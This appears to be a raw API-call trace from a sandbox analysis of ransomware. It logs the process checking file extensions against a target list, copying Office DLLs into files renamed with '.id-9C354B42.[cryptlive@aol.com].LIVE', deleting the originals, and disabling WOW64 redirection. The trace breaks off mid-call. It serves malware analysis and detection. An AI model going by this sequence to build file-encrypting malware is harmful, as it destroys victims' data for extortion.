lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString=".docx") returned 5 [0169.949] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0169.949] lstrlenW (lpString=".pdf") returned 4 [0169.949] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString=".xls") returned 4 [0169.949] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString=".xlsx") returned 5 [0169.949] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0169.949] lstrlenW (lpString=".ppt") returned 4 [0169.949] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.949] lstrlenW (lpString=".zip") returned 4 [0169.949] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString=".rar") returned 4 [0169.949] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString=".bz2") returned 4 [0169.949] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0169.949] lstrlenW (lpString=".7z") returned 3 [0169.949] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.949] lstrlenW (lpString=".dbf") returned 4 [0169.949] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0169.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.950] lstrlenW (lpString=".1cd") returned 4 [0169.950] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0169.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0169.950] lstrlenW (lpString=".jpg") returned 4 [0169.950] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0169.950] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0169.950] lstrlenW (lpString="ACEERR.DLL") returned 10 [0169.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0169.951] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=43408) returned 1 [0169.951] CloseHandle (hObject=0x1f8) returned 1 [0169.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0169.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0169.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0169.952] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0169.952] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0169.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0169.952] GetLastError () returned 0x0 [0169.952] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0xa990, lpOverlapped=0x0) returned 1 [0169.994] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0xa9a0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0xa9a0, lpOverlapped=0x0) returned 1 [0169.996] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0169.996] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0xe8, lpOverlapped=0x0) returned 1 [0169.996] SetEndOfFile (hFile=0x1d8) returned 1 [0169.996] CloseHandle (hObject=0x1d8) returned 1 [0169.996] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0169.996] SetEndOfFile (hFile=0x1f8) returned 1 [0169.997] CloseHandle (hObject=0x1f8) returned 1 [0169.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0169.997] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 1 [0169.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.998] lstrlenW (lpString=".doc") returned 4 [0169.998] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.998] lstrlenW (lpString=".docx") returned 5 [0169.998] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0169.998] lstrlenW (lpString=".pdf") returned 4 [0169.998] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.998] lstrlenW (lpString=".xls") returned 4 [0169.998] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.998] lstrlenW (lpString=".xlsx") returned 5 [0169.998] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0169.998] lstrlenW (lpString=".ppt") returned 4 [0169.998] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.998] lstrlenW (lpString=".zip") returned 4 [0169.998] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.998] lstrlenW (lpString=".rar") returned 4 [0169.998] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.998] lstrlenW (lpString=".bz2") returned 4 [0169.998] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.998] lstrlenW (lpString=".7z") returned 3 [0169.998] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.998] lstrlenW (lpString=".dbf") returned 4 [0169.998] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.998] lstrlenW (lpString=".1cd") returned 4 [0169.998] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.999] lstrlenW (lpString=".jpg") returned 4 [0169.999] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0169.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.999] lstrlenW (lpString=".doc") returned 4 [0169.999] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0169.999] lstrlenW (lpString=".docx") returned 5 [0169.999] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0169.999] lstrlenW (lpString=".pdf") returned 4 [0169.999] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0169.999] lstrlenW (lpString=".xls") returned 4 [0169.999] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0169.999] lstrlenW (lpString=".xlsx") returned 5 [0169.999] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0169.999] lstrlenW (lpString=".ppt") returned 4 [0169.999] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0169.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.999] lstrlenW (lpString=".zip") returned 4 [0169.999] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0169.999] lstrlenW (lpString=".rar") returned 4 [0169.999] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0169.999] lstrlenW (lpString=".bz2") returned 4 [0169.999] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0169.999] lstrlenW (lpString=".7z") returned 3 [0169.999] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0169.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.999] lstrlenW (lpString=".dbf") returned 4 [0169.999] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0169.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.999] lstrlenW (lpString=".1cd") returned 4 [0169.999] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0169.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0169.999] lstrlenW (lpString=".jpg") returned 4 [0169.999] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.000] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0170.000] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0170.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0170.001] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=442272) returned 1 [0170.001] CloseHandle (hObject=0x1f8) returned 1 [0170.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0170.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0170.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0170.001] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0170.001] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0170.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0170.002] GetLastError () returned 0x0 [0170.002] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0x6bfa0, lpOverlapped=0x0) returned 1 [0170.012] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0x6bfb0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0x6bfb0, lpOverlapped=0x0) returned 1 [0170.021] ReadFile (in: hFile=0x1f8, lpBuffer=0x3e00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0170.021] WriteFile (in: hFile=0x1d8, lpBuffer=0x3e00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e00020*, lpNumberOfBytesWritten=0x33efc9c*=0xea, lpOverlapped=0x0) returned 1 [0170.021] SetEndOfFile (hFile=0x1d8) returned 1 [0170.021] CloseHandle (hObject=0x1d8) returned 1 [0170.021] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0170.021] SetEndOfFile (hFile=0x1f8) returned 1 [0170.203] CloseHandle (hObject=0x1f8) returned 1 [0170.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) Thread: id = 85 os_tid = 0x658 [0168.165] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x3b70698 [0168.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x3b806a0 [0168.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de3e0 [0168.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5de568 [0168.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de3f8 [0168.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x3f10020 [0168.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de410 [0168.167] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de410, Size=0x20) returned 0x5e3d40 [0168.167] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de410 [0168.167] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de410, Size=0x20) returned 0x5e3d18 [0168.167] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.167] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.167] Wow64DisableWow64FsRedirection (in: OldValue=0x352ff58 | out: OldValue=0x352ff58*=0x0) returned 1 [0168.167] lstrlenW (lpString="kernel32.dll") returned 12 [0168.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3d40 | out: hHeap=0x570000) returned 1 [0168.168] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3d18 | out: hHeap=0x570000) returned 1 [0168.168] Sleep (dwMilliseconds=0x64) [0168.331] Sleep (dwMilliseconds=0x64) [0168.667] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0168.667] lstrlenW (lpString="ACERECR.DLL") returned 11 [0168.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0168.668] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=20944) returned 1 [0168.668] CloseHandle (hObject=0x1f4) returned 1 [0168.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0168.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0168.668] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.668] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0168.669] GetLastError () returned 0x0 [0168.669] ReadFile (in: hFile=0x1f4, lpBuffer=0x3f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f10020*, lpNumberOfBytesRead=0x352fed4*=0x51d0, lpOverlapped=0x0) returned 1 [0168.849] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f10020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f10020*, lpNumberOfBytesWritten=0x352fc9c*=0x51e0, lpOverlapped=0x0) returned 1 [0168.851] ReadFile (in: hFile=0x1f4, lpBuffer=0x3f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f10020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0168.851] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f10020*, lpNumberOfBytesWritten=0x352fc9c*=0xea, lpOverlapped=0x0) returned 1 [0168.851] SetEndOfFile (hFile=0x1f8) returned 1 [0168.851] CloseHandle (hObject=0x1f8) returned 1 [0168.851] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0168.851] SetEndOfFile (hFile=0x1f4) returned 1 [0168.852] CloseHandle (hObject=0x1f4) returned 1 [0168.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0168.852] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 1 [0168.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.853] lstrlenW (lpString=".doc") returned 4 [0168.853] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.853] lstrlenW (lpString=".docx") returned 5 [0168.853] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0168.853] lstrlenW (lpString=".pdf") returned 4 [0168.853] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.853] lstrlenW (lpString=".xls") returned 4 [0168.853] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.853] lstrlenW (lpString=".xlsx") returned 5 [0168.853] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0168.853] lstrlenW (lpString=".ppt") returned 4 [0168.853] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.853] lstrlenW (lpString=".zip") returned 4 [0168.853] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.853] lstrlenW (lpString=".rar") returned 4 [0168.853] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.853] lstrlenW (lpString=".bz2") returned 4 [0168.853] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.853] lstrlenW (lpString=".7z") returned 3 [0168.853] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.853] lstrlenW (lpString=".dbf") returned 4 [0168.853] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.853] lstrlenW (lpString=".1cd") returned 4 [0168.853] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.853] lstrlenW (lpString=".jpg") returned 4 [0168.853] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.854] lstrlenW (lpString=".doc") returned 4 [0168.854] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.854] lstrlenW (lpString=".docx") returned 5 [0168.854] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0168.854] lstrlenW (lpString=".pdf") returned 4 [0168.854] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.854] lstrlenW (lpString=".xls") returned 4 [0168.854] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.854] lstrlenW (lpString=".xlsx") returned 5 [0168.854] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0168.854] lstrlenW (lpString=".ppt") returned 4 [0168.854] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.854] lstrlenW (lpString=".zip") returned 4 [0168.854] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.854] lstrlenW (lpString=".rar") returned 4 [0168.854] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.854] lstrlenW (lpString=".bz2") returned 4 [0168.854] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.854] lstrlenW (lpString=".7z") returned 3 [0168.854] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.854] lstrlenW (lpString=".dbf") returned 4 [0168.854] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.854] lstrlenW (lpString=".1cd") returned 4 [0168.854] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0168.854] lstrlenW (lpString=".jpg") returned 4 [0168.854] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.855] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0168.855] lstrlenW (lpString="MSOINTL.DLL") returned 11 [0168.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0168.856] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=2528128) returned 1 [0168.856] CloseHandle (hObject=0x1f4) returned 1 [0168.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0168.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.856] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: 